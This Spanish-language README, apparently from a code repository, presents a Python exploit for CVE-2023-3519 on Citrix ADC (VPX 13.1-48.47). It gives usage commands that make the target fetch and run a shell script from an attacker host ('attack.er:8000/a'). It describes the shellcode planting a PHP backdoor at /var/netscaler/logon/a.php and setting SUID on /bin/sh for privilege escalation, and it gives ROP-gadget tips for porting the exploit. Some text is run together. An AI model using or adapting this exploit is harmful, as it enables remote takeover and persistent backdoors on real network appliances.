
Exploit en Python para CVE-2023-3519 dirigido a Citrix ADC con shellcode NASM personalizado, despliegue de puerta trasera PHP y escalada de privilegios SUID.
Este exploit utiliza direcciones y shellcode para Citrix VPX 13.1-48.47. Para el artículo completo, haga clic aquí.
Se requiere NASM para compilar el shellcode.
$ sudo apt install nasm
El shellcode incluido descargará y ejecutará un script de shell desde un servidor http(s) remoto. El script acepta 3 argumentos: el host objetivo, el puerto objetivo y la URL de un payload de script de shell. En este repositorio se incluye un payload de ejemplo que ejecuta id y uname -a antes de limpiarse a sí mismo.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
La URL debe ser lo suficientemente corta para caber en el buffer del shellcode; recibirá una advertencia si es demasiado larga.
El shellcode creará una puerta trasera PHP en /var/netscaler/logon/a.php y establecerá el bit SUID en . El payload incluido muestra un ejemplo de cómo limpiar automáticamente estos artefactos. Tenga en cuenta también que el shellcode no cierra sus descriptores de archivo, por lo que la explotación repetida excesiva puede provocar el agotamiento de recursos.
/bin/shshPara objetivos Citrix basados en FreeBSD, solo necesita encontrar 3 valores: el desplazamiento del puntero de retorno guardado, un gadget ROP jmp rsp (o algo equivalente, como push rsp; ret;) y la dirección a la que saltar para evitar un bloqueo. Estos parámetros están codificados cerca de la parte superior de cve-2023-3519.py.